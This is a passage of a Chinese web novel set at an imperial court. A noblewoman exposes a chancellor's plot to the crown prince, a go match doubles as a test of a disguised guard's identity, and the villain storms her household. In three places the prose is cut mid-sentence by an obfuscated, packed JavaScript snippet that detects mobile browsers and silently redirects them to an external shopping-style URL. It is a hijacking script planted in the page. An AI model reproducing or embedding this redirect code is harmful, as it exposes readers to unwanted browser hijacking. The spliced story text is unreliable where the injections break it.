本想柔和一点,但怕自己承情太多,会让谢煜然产生误会,她只好直入主题,开口道:“殿下,其实臣女今日找您是有要事相告。” 谢煜然闻言动作一顿,收到拜贴的那一刻他便猜到黎书意是有事才来找自己的,毕竟前几天见面时她态度那么冷淡。 为何就不能让他再多开心一会呢,这样不加掩饰地说出真实目的实在伤人,他惨淡一笑,松开了手里的锦缎,现在竟然连这东西都送不出去了,快速收敛好情绪,他转过身问:“有何事?” 瞥了眼抱着锦缎的侍从,黎书意没有开口。 谢煜然会意,摆手让侍从退下。 侍从点头,抬着木托盘后退到门外,然后将门给轻轻带上了。 屋子里彻底安静了下来,一股严肃的气息悄然弥漫,令人紧张不安。 “说吧。”半晌,谢煜然看过来,语气比方才多了两分认真。 黎书意与他对视,做好了心理建设,才终于启唇:“我一月前曾在这撞见过一起追杀事件。” “什么!你受伤没,为何不曾听说过。”谢煜然反应强烈。 黎书意摇头,“我没受伤,没传出去是因为被我掩盖下来了。” “为何?”谢煜然眉头轻皱。 默了片息,在他的注视下,黎书意慢慢叙述起来:“那日我出门逛街,因为想买某家小店里的铜器,所以便拐进了一条深巷,没成想途中却偶然撞见了三个持剑的蒙面人在追一名衣衫褴褛的年轻人,我观那年轻人已经身中数剑,恐有性命之危,尽管想过可能会惹上麻烦,到底还是不忍心,便让时野出手了,最终成功救下了那年轻人。” 说到这,她瞥了谢煜然一眼,见他微微摇头,显是在否定她的做法,可她无比庆幸自己当时那么做了,她想待会他也会这般认为的。 “当天夜里便有黑衣人前来姚府行刺,只是那人刚潜入那年轻人的房间时,便被旁边房间的时野给察觉了,最终未能得逞,我被刀剑声惊醒,出房门去看时刺客已经逃遁,后半夜我夜不能寐,在意识到自己确实招惹上麻烦以后,我想着第二日一早将人送到客栈休养。” 言毕,闻谢煜然开口评道:“这样做是最合理的,即便他是伤是死你做得也足够了。” 黎书意没有附和,继续往下说:“第二日早晨,兰亭告诉我说那人醒了,我想着既然已经招惹上了麻烦,怎么也该知道其中缘由,这样遇到突发情况才好应对,于是我便问那人,那人起先支支吾吾,不肯告知真相,见他犹豫不决,为了取得他的信任,我将自己的身份告诉了他,他听了之后果然放松了警惕,然后便将自己的遭遇说了出来。” “是何?”谢煜然目不转睛地望着她。 刚才那些话黎书意说得还算轻松,然而此刻她的心跳却不受控制地加快,几乎要撞破胸膛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545723|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静默片刻,她在谢煜然的注视下一字一顿道:“他说他是从一个私人兵器作坊里逃出来的奴隶。” 话音方落,见谢煜然脸色骤变。 黎书意藏在袖中的手捏紧,给足自己勇气,顿了一息,她向眼前的人说出最关键的部分:“我接着追问,从他口中得知兵器作坊的主人是梁甫。” 空气一瞬间凝结成冰,谢煜然对她一贯和颜悦色,此时的表情却很严肃,那双锐利的黑眸紧盯着她,凛声道:“你可知道你在说什么?” 她点头,然后在那极有压力的目光下自顾自说起了后面的事。 花厅外,谢烜赫的双眼紧盯着合上的大门,来之前他心里尚存了一分顾虑,可刚才瞧见谢煜然那殷切的模样,那最后的顾虑也打消了,然而明明是好事,他的胸口却闷闷的。 眼睛盯得有些酸涩,他终于移开了视线,往旁边一瞧,见齐君屹神情紧绷,如临大敌。 “你不必慌张,太子是明事理的人,一会你照实说就可以了。” “我知道。” 兰亭站在一步开外的地方,听见这番谈话,她怨愤地瞪着二人,昨天听闻二姑娘给太子殿下送拜贴,她万分不解,想着二姑娘该不会是要挽回与太子殿下的感情,可当出门时看到齐君屹后,她便猜到了这次拜访与他有关。 她丧气地撇了撇嘴,在孟章时,二姑娘与时侍卫便时常有事瞒她,如今又添了一桩,也不知道这样的日子何时才是个头啊。 …… “就是这样。”花厅里,黎书意终于将事情的来龙去脉说清楚了。 谢煜然定定望着她,似乎在消化她说的话,历来他两眼含笑,此时却目光犀利,带着几分审视。 半晌,他方才开口:“你所说的那个人在哪?” “就在外面。” “让他进来。” “好。”黎书意点头起身,然后一步一步朝门口走去。 门打开,见谢烜赫和齐君屹并肩而立,几步开外是兰亭,黎书意走向他们,到了近前,对齐君屹道:“殿下叫你。” 齐君屹闻言往门口望去,接着迈步朝那边走,黎书意则在谢烜赫旁边站定,然后看着齐君屹进屋,看着门在她眼前合上。 心提了一路,她早就疲惫不堪,此时不由得长舒了口气,然而还不到她该放松的时候,得看谢煜然与齐君屹谈论的情况。 “黎二姑娘,外边冷,随我去偏厅等吧。”正看着,双戒走了过来。 “劳烦。”黎书意点头。 说毕,一行人往偏厅去了,偏厅比花厅要小,但布置雅致,一进去便有丫鬟送来了热茶,她便坐着干等。 …… 花厅,谢煜然的目光在对面的男子脸上游曳,男子不过二十左右的年纪,面容清秀,身姿挺拔,并不像是奴隶。 良久,他出言警告道:“你可知道私自铸造兵器是何等罪行?” “知道,是抄家灭门的死罪。”齐君屹不卑不亢说道。 “那你还坚持你的说法吗?” “是。”齐君屹点头。 “好,那把你知道的告诉孤。” 65. 对弈 “两年前,长耳发生饥荒,闹出暴乱,我和弟弟为避祸流落至客郡,在郡里的难民营里待了没多久,我们和部分年轻流民被一群官兵带到了丰沙村,那里整个村的人都从事药材加工,当时我想着这多少是份生计,就没有抗拒,可待了一段时间后,发现药厂是在制造一种吃了会让人上瘾的药物。” 听见这话,谢煜然眸光微闪,这是他正在调查的事,而且证实了的确与梁家有关。 “我当时本想找机会逃跑,可后来改变了主意。” “哦?”闻言,他挑起眉。 “因为我的弟弟被里面的监工虐待致死,而且后来我意外发现药厂背后的东家是梁家。” “你与梁家有怨?”他抓住关键信息问道。 齐君屹的心跳因为这句问话不由加快,一旦说了,自己是流放的罪臣之后的事就会暴露,被流放的人私自逃跑可是重罪。 然而,这比起报仇又算不得什么,想到这他恢复了沉着,点了一下头道:“是,不瞒太子殿下,贱民乃是齐定光之子。” 齐定光,那个被梁甫诬陷的军器监。饥荒和暴乱,这与长耳当时的情况吻合,而且平乱之后,据当地官员上报,的确少了齐家兄弟,信息倒是对得上。 “那兵器作坊在哪?”打消了大部分疑虑,他把话题拉到最关注的问题上。 “象尾山。” 象尾山,谢煜然皱眉,这似乎是郡中远郊一座人迹罕至的荒山。 铁乃国之重要物资,因此刚到客郡,在象征性地巡查完官学和几个书院后,他便开始巡查各大盐铁厂。 客郡是产铁大郡,朝廷对辖区工厂十分看重,这里的司铁使虽然谄媚,但能力还是不错的,他巡查期间并未看出有大肆私吞铁矿的情况。 因着梁祖庭是司盐使,他查盐厂查得更为仔细,不过梁祖庭为人谨慎,账面做得滴水不漏,将郡中盐厂打理得井井有条,令人无可指摘。 他知道本地郡守与梁家有勾结,否则便不会为逍遥丹大开方便之门,只是没想到司铁使竟然也被收买了,这些人串通一气,竟是背着朝廷私吞了一座矿山,真是吃了熊心豹子胆! 怒火在他胸中翻腾,压抑着内心翻滚的情绪,他掀起眼皮瞥向对面的人:“你在兵器作坊都了解到了什么?” …… 时光悄然流逝,桌上的茶已经凉了,黎书意等得心焦,过了许久,旁边房间终于传来开门声,她应声而起,然后快步朝外走去,到门口正好碰见谢煜然和齐君屹从房间出来。 尽管料想谢煜然多半不会拒绝,但她心里仍是说不尽的忐忑,此刻便忍不住抬眼观察他的神色。 “他,我要留下。”谢煜然看过来。 “自然。”闻言,黎书意无半分迟疑便答应下来。 她将人带过来便是这个意思,留在她那里不仅她、表姐和外祖母会有危险,就连齐君屹自己也会有危险,而谢煜然这里守卫森严,可以护好他。 “兹事体大,我会让手下先去调查,然后再做打算,今日便不留你了。” “好。”黎书意点头,担心表现得太过在意会引起猜疑,她什么也没有多问。 正欲告辞,又闻谢煜然说:“虽然梁祖庭打消了对你的猜疑,但你近期还是要注意安全,有麻烦可随时来找我。” “我知道。”她应下,“那我就不打扰了。” 说毕,便带着谢烜赫和兰亭离开了。 …… 茶室,梁祖庭坐在小炉前一脸闲适地烹茶,炉中水刚沸,一侍从走进来拱手上报道:“今晨,太子带人去了客郡各大药铺,展开地毯式搜索,搜出了一些骨粉和童男童女的鲜血。” 梁祖庭放下茶盏,露出云淡风轻的笑容,“还有呢?” 侍从回道:“今日午后黎二姑娘曾去官驿拜访。” “哦?”听到这话,梁祖庭眉头一挑,他记得前不久她曾拒绝过谢煜然的拜访,“去了多久?” “大概待了一个时辰。” 梁祖庭的右手在桌子上无意识地轻敲着,思索着这是为了礼仪而为之呢,还是这姑娘后悔了,决定挽回这段感情,要是后者,那就太可惜了。 “下去吧。” “是。”侍从应声而退。 梁祖庭起身走到窗边站定,正所谓福祸相依,从齐君屹出逃后,他便开始清理客郡的各大药厂,将逍遥丹和城内的奴隶迁移到城郊,为的就是防止被查到。 所以,当谢煜然打着巡视的幌子在盐厂、铁厂、药铺等地大肆清查时,他丝毫不显慌张。 那几间被查出有问题的铺子他根本就不在意,这点事情并不会让皇帝对梁家下手,顶多就是谴责或是罚俸罢了。 只是,这谢煜然实在是个难缠的主,难怪父亲想要自立为王,不然等他登上皇位,梁家可就没有活路了。 没想到他近两年来竟然一直在查梁家,居然还不知不觉间将奸细安插到药厂里了,若非发现得及时,等被那人知道了兵器作坊的事,那就为时已晚了。 …… 冬日,天地间一片静谧,暖阁内,黎书意静坐于案前,她执笔挥毫,专注地描绘着笔下的另一个尘世。 姚写意带着魏石川去见太子,姚写意向太子讲述如何得知严会之的秘密,太子咄咄逼人的审问魏石川……她将《陈冤录》后续部分的故事及画作补上,然后她的创作又告一段落。 少了写写画画,日子变得无聊起来,或许是闲易生忧,她一方面记挂着谢煜然那边的情况,担心他因为顾虑重重而迟迟不动,另一方面则记挂着西南战场上的情况。 考虑到谢煜然近两日可能会派人在姚府盯梢,她连祈安阁的渠道都没敢利用,这最近的一封信前日才刚收到,是直接送到姚府的。 信上,兄长言,父亲率领的西路军已经成功攻入甲木,他带领的东路军和叔父率领的中路军则还与当地的部族呈对垒之势,因此次出征是带着收归的目的,他们不能大动干戈,然那些少数民族顽强抵抗,恐怕还有得纠缠。 从信上看,父兄虽性命无虞,可这战看起来是一场持久战,两人估计年前都不一定能回来。 “这一页你起码看了有一柱香。” 思绪纷飞间,手下的书本被谢烜赫抽走了,她没有急着夺回,现如今就连看书都无法排解她心中的忧虑了。 轻叹口气,她将目光移到别处去,不经意扫见了不远处摆着的棋盘,便仰头提议道:“不如陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545724|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我下两盘棋?” “可以。”谢烜赫放下书朝着棋盘走去,然后在棋盘左侧落座。 黎书意跟着起身,在对面坐下。 “白子还是黑子?”谢烜赫看过来。 “白子。”黎书意说着拨过装白子的棋罐,旋即她正视对面的人,表情认真地说,“不用让我。” “好。” 商议既定,谢烜赫从棋罐里轻轻拈起一枚黑子,优雅地落在棋盘右上角星位。 黎书意也从容地拿起一枚白子,落在棋盘左下角星位。 对弈初始,双方落子皆透着随意,慢慢地,两人进入状态,愈发认真起来。 谢烜赫的黑子布局沉稳,逐步构筑起坚实的阵地,黎书意的白子走势灵活,她一面寻找着黑子的破绽,一面努力争取着地盘,随着对弈的深入,棋盘上黑白交错,局势渐渐变得紧张。 得益于前些年丰富的观战经验,黎书意对谢烜赫下棋的习惯有所了解,因此应对得还算不错,甚至可以说是让谢烜赫感到了掣肘的地步。 谢烜赫捏着棋子纵观棋局,黎书意明显对他使用了针对的打法,他攻她守,他守她攻,步步紧逼,叹了口气,他抬眼道:“看来你很了解我的棋路。” “那是,也不看看我从前看了多少场棋局。”少女眉欢眼笑,一脸得意。 谢烜赫唇角微勾,她了解他的棋路,可他同样也了解她的棋路,既然要他好好玩,那便陪她好好玩,这么想着他落了子。 “啪!”黑子落在棋盘上留下清脆的响声,看着落子的位置黎书意神情错愕,她脑中预判的三个位置皆被抛弃,最后落在了一个她完全预料不到的地方。 轻咬着下唇,她定神重新审视棋局,良久方才落子,虽落了子,心里却不踏实,总觉得走得不对。 果不其然,当谢烜赫淡然地落下黑子后,她再次审视棋盘,这才发现自己方才决断错了,那枚白子显然误入陷阱,局势瞬间变得微妙起来。 她懊恼自己的疏忽,接下来应对得更小心,然而几步走下来,她发现谢烜赫的棋路完全变了,简直打得她措手不及,于是气愤地抬起头看向罪魁祸首,却见他脸上挂着愉悦的浅笑。 好吧,风水轮流转了,这下换她难受了,不过她也不觉气馁,反而更加斗志昂扬了,毕竟这样玩才有意思。 为了赢,她聚精会神,认真分析着战场上的情况,抛弃对谢煜然动向的预判,此刻她眼里只有面前的这一副棋盘,半晌她轻轻拈起白子,稳稳地落在了棋盘左上角三三的位置上。 谢烜赫抬眼看过来,眼中闪过一丝惊讶,旋即他凝视着棋盘,陷入了沉思,片刻后,他嘴角微扬,拿起黑子落在了旁边小目上。 眼见自己的白子受了牵制,棋局再次陷入了胶着状态,黎书意十分不甘,正思索着下一步路要如何走,却被急匆匆走进来的兰亭给打断了。 “二姑娘,太子殿下来访。” 意料之外的拜访听得她一惊,瞥了一眼尚未结束的棋局,她恋恋不舍地起身,谢煜然突然来访,定有要事。 整理了一下坐皱的襦裙,她朝外走去,人刚走至门口,与谢煜然撞了个正着,她只好吩咐兰亭赶快备茶,然后将客人请进屋。 66. 暗涌 谢煜然是头一次来姚府,这宅子虽然不大,但胜在布局精巧,景致颇妙,倒也算是一个不错的散心处。 眼下进了黎书意居住的院落,他难免好奇心更甚,一踏入房中便移目四扫起来。 室内布置得雅致温馨,地上铺了羊绒地毯,中央摆着一张雕花红木书案,上面堆了许多书,四周散落着几张软垫,一旁鎏金铜熏炉里烟气袅袅,柔和的香气在空气里弥漫,显然主人整个冬天都待在这。 当目光捕捉到不远处那抹靛蓝色身影时,他心中隐隐有些不快,对于黎书意身边有这样一位无妻室的同龄近身侍卫,他一直感到隔应。 紧接着,他注意到了那身影背后的棋盘,看棋盘上黑子白子纵横,便知这是一副未下完的棋局。 他当即走了过去,本来只打算随意看两眼的,可当他观了局势之后,神情逐渐认真起来,因为这是一场很精彩的对决,于是转头问一同走过来的黎书意:“你刚刚在下棋?” “闲来无事。” “对手是谁?” “时野。” 竟然是他,谢煜然的目光划到男子身上,最后又重新落回到棋局之上,一个普通的侍卫竟然有如此棋力。 相似的身形,出众的身手,深厚的棋力……那个隐秘的猜测又不合时宜地冒了出来,他望向男子,盯着面具下的黑眸问:“你棋艺不错,谁教的?” 冷不丁的询问令黎书意的心突突直跳,起先见谢煜然走到棋盘前时她未曾多想,直到察觉到他的目光变得幽深,还问她对手是谁时,这才警觉起来。 她忘了眼前这人棋艺精深,并且对她对谢烜赫的棋风都很了解,她突然有些庆幸方才为了较量,他们都撇下了以往的风格,否则说不定谢煜然可能会对谢烜赫重新起疑,那么将军府的谋划便也会被猜测出来的。 虽如此想,但她不敢完全松懈,也朝谢烜赫望去。 谢烜赫表现得很镇定,他平静地回答说:“家父喜欢下棋,可那边会下棋的人不多,为了找个对手,他便时常让我陪他。” “原来如此。”谢煜然点头。 见状,黎书意松了一口气,正巧兰亭端茶上来,想着转移注意力,她一指坐榻道:“放那边案上吧。” 奈何话音刚落,被谢煜然开口阻拦了:“拿到棋盘这里来,我也有段时间没下棋了,不如边下边聊。” 兰亭不敢不听,便把茶水放到了棋桌旁边的小几上。 看着谢煜然已经在方才自己坐的位置上落座了,黎书意便走向另一侧,然而还未来得及坐下,又被谢煜然抬手止住了,他双目扫向谢烜赫道:“难得碰见一个棋艺不错的新对手,让他来下吧。” “这……”黎书意犹豫了,显然谢煜然存了试探的心思,便小心劝道,“他身份低微,哪能同太子殿下下棋。” 谢煜然不以为然,只说:“这局棋相当精彩,不若我代替你继续下。” 心知再拒绝,谢煜然的猜疑只会更多,黎书意只好点头同意了,于是拿出小姐的姿态唤谢烜赫道:“时野,既然太子殿下想要你下,你便过来吧。” “是,二姑娘。”谢烜赫应声走了过来,到了棋桌前,他先向谢煜然恭敬地施了一礼,然后坐下了。 谢煜然露出一个浅淡的笑容,抬眼朝对面的人说:“不可以保留实力,对你家二姑娘怎么来的,便对孤怎么来。” 谢烜赫点头称是,就这样,打断的棋局继续,从谢煜然开始。 仔细观察了一番棋局,他果断地拿起一枚白子,落在了棋盘正中央的天元位置,这是被打断前黎书意落子的备选之一,不过却不是最终定下的。 轮到谢烜赫了,黎书意的心提起,他的落子至关重要。 “啪!”棋子落得很快,落在了棋盘右上角五四位置上,这一棋不好不坏,黎书意的心跟着下落一寸。 “有意思。”谢煜然轻笑出声。 两人便这般一来一往下起棋来,双方落子速度极快,谢煜然每一步都有意图,故意让谢烜赫置于险境,想逼他走他最舒适的棋路。 既然黎书意能洞悉,谢烜赫自然也能洞悉,因此他不仅没上当,反而用棋路迷惑对方。 时野的父亲确实是一个棋痴,棋艺纯熟,这在安士也算众人皆知的事,就算事后谢煜然去查,也不会暴露出什么。 谢烜赫刻意更改自己的棋风,攻守有度地应对着,又一子落下,他抬眼向对面瞥去,谢煜然正捏着棋子沉吟,这表情从前他见多了。 一个是天子之子,一个是臣子之子,从前下棋时他便不得不隐藏实力,过招时既不能放水过于明显,又不能步步紧逼。 这一次他还是得输,毕竟将军府里的小小侍卫是不能赢当朝太子的,他不着痕迹地应对着。 慢慢地,局势逐渐向谢煜然倾斜,白子在他的指挥下不断扩张地盘,对黑子形成了强大的压力。 “啪嗒!”白子落于棋盘一处关键位置,黑子顿时陷入困境,随着这最后一步棋落下,棋局胜负己定。 一局终了,谢煜然露出愉悦的表情,他抬眸向对面看去,评价说:“你棋力不错,但风格吊诡,没有章法。” 谢烜赫微微低头,谦逊地回应道:“殿下谬赞了,在下并未经过严格的指导训练,不过是瞎捉摸罢了。” 言毕,他抬起双手,向对面的人施了一礼,然后从座位上起身,退到了一旁。 谢煜然也跟着站了起来,他今天过来原是有事要说的,不想竟被棋局吸引了注意力,此时棋局结束,该谈正事了,他移步走到榻上坐下,看着站立的黎书意。 黎书意会意,便同谢烜赫和兰亭道:“你们先退下吧。” 接着,她走到坐榻另一侧落座,等门合上了,主动开口问:“殿下有何事要说?” “我已经派人核实了,那象尾山表面是一座荒山,实则守卫严密,处处有陷阱,而且半夜常常传出敲打之声。” “果真如此?”黎书意故作惊讶,其实,那日刚从齐君屹之口得知以后,谢烜赫便派人查过了,一得到了回信,就同她交待过里头的情况。 谢煜然点头,“那齐君屹在药厂和兵器作坊劳作的时日不短,身上又带着那样一份铁证,日后他会是重要的证人,为保证他的安全,我昨日便将他转移到临县去了。” “臣女把他交给殿下就是为此。” 谢煜然注视着对面的少女,他知道她聪颖冷静,但到底年纪还小,原是善念一动,救下了被追杀的齐君屹,却不想竟从他身上发现了当朝丞相意图谋反的秘密。 这之后,还被梁祖庭给盯上了,为了自身的安全,她不得不和他好一番周旋,也真是难为她了,想到这些,谢煜然柔声道:“这近一月真是辛苦你了。” 这近一月对黎书意来说的确煎熬,但是也很值得,当然真正的内情是不能说的,好在与梁家的仇怨也是众人皆知的,便义正辞严道:“梁甫不仅结党营私,构陷忠臣,如今还想谋朝篡位,已经动摇国之根本,身为西景子民,这是我应该做的。” 顿了顿,她又问:“殿下之后是如何打算的?” 谢煜然回道:“梁家在这经营多年,根深蒂固,为免打草惊蛇,我会装作一无所知,等回孟章了,将齐君屹的经历和罪证秉明父皇再做打算。” “嗯。”黎书意点头,意图谋反是重罪,加之梁甫又深得皇帝宠幸,即便他身为太子,也很难直接决策。 “好了,”谢煜然从坐榻上起来,走下台阶道,“我还有事,就不多留了。” 黎书意跟着起身,一直将人送到了门外。 站在廊下,谢煜然回身看着少女,真心叮嘱道:“这里不太安全,你还是早些离开吧。” “我知道。”黎书意应着,“殿下慢走。” “那我走了。”谢煜然转身,双诫跟在他身后。 看着谢煜然走远了,黎书意与谢烜赫折回屋中。 一进去,谢烜赫便开口问道:“你们都说了什么?” “没说什么。”黎书意边走边答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545725|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“就是告诉我已经核实了象尾山的情况,齐君屹也被安全转移了,他打算过几日便启程回孟章,先秉明皇帝了再行动。” 这意思代表了谢煜然相信了他们的说辞,他们依靠他对付梁甫的计划算是成功了。 谢烜赫沉吟片刻,垂眼低声询问:“虽然他暂时不打算出手,但这里终归不太平,你要不先走吧?” 听见这话,黎书意抬眸与他对视,他说的是“你”,而不是“我们”,这意思就是让自己先离开。 尽管接下来的大半事情可以依靠谢煜然来完成,但是为了万无一失,祈安阁里定然也还是要做些部署的。 虽然有些不乐意,不过黎书意也没抗拒,她懂得分寸,遂点头道:“等过两日与外祖母别过了,我便回去。” …… 梁祖庭近来有些烦躁,原以为谢煜然就要离开客郡了,哪知道他竟然继续滞留下来,担心有什么变数,他只好派人继续监视。 据手下回报,谢煜然前日逛了欧记兵器铺,在那里逗留了两个时辰,因为铺中本就有眼线,所以获取情报毫不费力。 传回的消息说他在那里逛了一圈,最后挑了铺中最贵的那把剑,还有一张玄铁打造的好弓。 行踪看起来很正常,尽管如此,梁祖庭依旧不敢掉以轻心,谢煜然一日不走,他便一日不得安宁。 “笃笃!” 敲门声响起,门外侍从报说:“大公子,梁六求见。” “叫他进来。” “见过少主人。” 梁祖庭搁下手上的书册,掀起眼皮扫向走进来的人,他既期待听到梁六说些没重点的杂事,又排斥被这种无休无止又毫无营养的事所烦恼,“他今日都做了什么?” “上午去拜访了当地大儒董之阳,下午去了姚府。” 姚府,梁祖庭眼神一闪,总算有比宴客和逛街让他值得关心的了,上回黎书意去官驿拜访,这回谢煜然上姚府,他陷入沉思,难不成这两位真的重新走到一起了…… 不,他摇头排除这种可能,黎书意的个性他还是有所了解的,当初身为太子妃第一顺位时她就敢反抗皇后,没道理如今境地差了一千倍,又变得能忍受了。 这背后肯定还有什么他不知道的内情,能促使这两个分道扬镳的人重新走到一起…… 他蹙眉苦思冥索,某一瞬间,像是被闪电击中,他突然豁然开朗了,不由得泄出一丝冷笑道:“好啊,没想到竟然给你骗过去了。” 梁六站在书房中间,主人没发话,他不敢走,毫无温度的感慨迫使他抬头。 只见主人面无表情,眼神冷冽,手里握着的笔因为发力而断成了两截,咽了咽口水,他大着胆子问:“太子的行为有何不寻常吗?” 太子的行为当然不寻常,可不寻常的又何止是他,还有被自己排除了嫌疑的黎书意,梁祖庭在心里说道。 忽然想起什么,他抬头问:“那日火烧客栈时你可有等到火势无以扑灭再走?” 怎么突然又提到客栈了,梁六不清楚主人问这话是何目的,斟酌了一下,他回说:“卑职在那里候了一盏茶,见床铺被彻底烧起来了才离开。” “动手时可曾听见喊叫声?” 闻言,梁六皱着眉开始回忆,旋即他摇了摇头,经此两问,他已然明白主人是对这事有疑虑。 正欲问,听见主人冰寒的声音:“恐怕那人根本不是齐君屹。” 梁六听后瞳孔猛地一缩,忙道:“主人的意思是齐君屹被替换了?” 梁祖庭露出一抹冷笑,竟然在他的眼皮子底下玩偷龙转凤,是他轻敌了,愤怒的火苗在胸膛里点着。 多久了,从齐君屹苏醒到今天过去快一个月了,一个月可以做很多事,传递消息、探查情况、寻找援兵……一想到这里,他就气得脑袋嗡嗡作响。 好巧不巧,偏又碰到太子来巡视,于是两人便合作上了。 压下满腔的怒气,他将眼睛一眯道:“看来我也得去姚府拜访一趟了。” 67. 闯府 近来的天气越来越冷了,昨日傍晚下了一场小雨,半夜又由雨转成雪,今早院子里已经铺上了一层一指节厚的雪。 兰亭走进屋中,将帘子拉开,轻声唤床上的人:“二姑娘,该用午膳了。” 二姑娘畏寒,辰初时分她曾来叫过一次,二姑娘支吾了两声,然后便没了动静,她就没有打扰。 眼见都到了用午膳的时候,二姑娘还未起床,她只好再来催一催,饮食不规律对身体不好。 见二姑娘未答,她又道:“二姑娘若是不想下床,婢子可以把饭菜端到床边。” 床上,黎书意闻声蠕动了两下,裹着厚被子直起上半身,口内含糊道:“不用,我还不到那个地步,就是手脚有些凉。” “婢子已经让人烧好了炭火,一会用完午膳,二姑娘可以一边烘手一边考栗子吃。” 黎书意挣扎良久,终于舍弃暖和的被窝,睡眼惺忪地由着兰亭为她换衣。 在她梳洗的时候,两个丫头端着饭食进来了,浓郁的香味顷刻盈满屋子,其实她早就饿了,待整妆完了,便走到食案边坐下,接过筷子吃了起来。 一顿饭吃完,周身顿时暖和了不少,就是手和脚依旧冰凉。 用茶漱过口,她罩上斗篷,然后抱着手炉出房门外赏雪,站在廊下放眼望去,只见整个院子里银装素裹,洁白无瑕。 “终于起了?” 心下正感慨头场雪竟就这么大,耳边传来谢烜赫调侃的声音,她不由脸一红,偏头辩驳道:“我早醒了,就是太冷,懒怠下床罢了。” 说毕,听见一声轻笑。 “二姑娘,外边冷,您还是坐在炉火旁边看吧。”兰亭站在门口劝道。 “嗯。”黎书意点头,旋即折身往炉火边走去。 侍女已经贴心准备好了栗子和红薯,黎书意在矮凳上坐下,待兰亭替她整理好裙摆,她拿起一只红薯扔到炉子上头,接着展开双手,一边烘手,一边烤红薯。 谢烜赫走过来在她旁边蹲下,从木碗里抓了几颗栗子扔进去。 门外细雪从顶纷落,盈白了庭户,炉边炭火红红,薯香渐飘,尽管天气寒冷,她却觉得很惬意很温暖。 “砰!”红薯才烤到半熟,一声闷响打破了小院里宁静的氛围。 他们正奇怪,紧接着就看见毕定边急匆匆走进来报说:“梁大公子闯进来了。” 闻言,黎书意和谢烜赫霍地起身,两人忙朝外走去,刚至门口,就看见几名侍卫倒在眼前。 再抬头向上看,恰与梁祖庭的视线相撞,他目光阴冷地盯着她,宛如一条随时伺机攻击的毒蛇。 看到这,黎书意又怎会不明白呢,梁祖庭这是已经发现自己被耍了,所以过来找她算账了。 心里猛地一沉,她顿觉浑身僵硬,动弹不得,这时一道修长挺拔的身影闪到她跟前,挡住了大半的视线,只听见谢烜赫说:“躲在我身后。” “好。”她点头。 下一刻,闻梁祖庭寒声发问:“齐君屹人呢?” 知道此时无法再抵赖,黎书意也不再假装了,遂直说了:“他不在我这。” 那便是在谢煜然那里了,虽然早就料到了,但亲耳被证实,梁祖庭还是气不打一处来。 不过,这种焦躁的情绪仅仅一闪而过,盯着被一众侍卫护住的艳丽少女,他勾唇笑道:“没关系,听闻太子对你痴心不改,黎大将军更是爱女如命,抓住你他们行动前也得掂量掂量。” 眼前的人笑容轻浅,语气柔和,可那双黑眸却蕴满戾气,黎书意意识到眼下这个才是梁祖庭的真正面目。 敌众我寡,情势危急,尽管心跳如鼓,她面上依旧强装镇定,坚定地说:“我个人的性命怎能与西景的安危相比,相信父亲会做出正确的决定。” “是吗?”梁祖庭不以为意,“总要试过才知道。” 他的话像是一个讯号,话音刚落,他身后的那群人跃跃欲试。 眼见对面的人举着刀剑缓步靠近,尽管自己身前站满了侍卫,黎书意依旧不安到了极点。 不知是谁先动的手,两边很快便打开了,虽然她从将军府带来的侍卫功夫都还不错,但是梁祖庭带来的人身手显然更高,在人数相当的情况下他们就落了下风。 作为一个喜好诗书不擅武艺的人,此时她根本派不上用场,只能站在原地干着急。 不一会的工夫,她这边已经倒下两人,血溅在雪地上,撒下一片鲜红,就像是画纸上铺陈的赤色,格外醒目。 第一道防线已经被突破,敌人越来越近,谢烜赫站在她身前,不曾挪动过半步,他手持斩霄剑挡下所有接近的攻击。 又三名侍卫在眼前倒下,黎书意面露担忧,她目不转睛地注视着面前的厮杀。 随着并肩作战的人逐渐减少,侍卫长毕定边不得不承受更多的攻击,尽管他奋力拼杀,可身上的伤痕却越来越多,动作也越来越迟缓了。 “噗呲”一声,一柄长剑刺入他的腹部,看到剑刃上寸长的血痕,黎书意忍不住发出惊叫,然后眼睁睁地看着他在自己眼前倒下。 此时,院子里的侍卫接连被对方打倒,眼下只剩谢烜赫还在孤军奋战,紧张和担忧包裹着黎书意,她的心提到了嗓子眼,根本不敢呼吸。 “退后!” 听见谢烜赫的话,她立刻往后退了两三步。 刀剑声再次响起,眼前身影穿梭交错,森寒剑光如白日流星掠过。 五个对一个,纵使谢烜赫武艺再高强,也不可能接得住所有攻击,像她所担忧的那样,她看见他的衣袍被利刃割开,深色晕染开来。 随着时间一点点流逝,他身上被割破的地方越来越多,每中一剑,黎书意的心便跟着一抽,仿佛那些剑是划在她心口似的。 